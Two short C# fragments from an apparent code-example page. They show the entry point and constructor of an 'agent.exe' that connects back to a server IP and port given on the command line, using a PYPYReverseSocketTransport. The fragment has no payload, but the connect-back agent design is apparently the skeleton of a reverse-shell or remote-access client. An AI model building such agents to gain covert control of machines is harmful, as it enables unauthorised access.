示例#1
0
        static void Main(string[] args)
        {
            bool useConsole = true;

            if (args.Length < 2)
            {
                Console.WriteLine("Usage: agent.exe <server_ip> <server_port> <use_console (optional, 1 or 0 )>");
                System.Environment.Exit(1);
            }
            string server_ip = args[0];
            int    port      = Int32.Parse(args[1]);

            if (args.Length >= 3)
            {
                int x = int.Parse(args[2]);
                if (x == 1)
                {
                    useConsole = true;
                }
                else
                {
                    useConsole = false;
                }
            }

            PYPYreader reader = new PYPYreader();
            PYPYReverseSocketTransport transport = new PYPYReverseSocketTransport(server_ip, port);

            PYPYagent agent = new PYPYagent(reader, transport, useConsole);

            agent.run();
        }
示例#2
0
 public PYPYagent(PYPYreader reader, PYPYReverseSocketTransport transport, bool useConsole = false)
 {
     this.reader     = reader;
     this.transport  = transport;
     this.useConsole = useConsole;
 }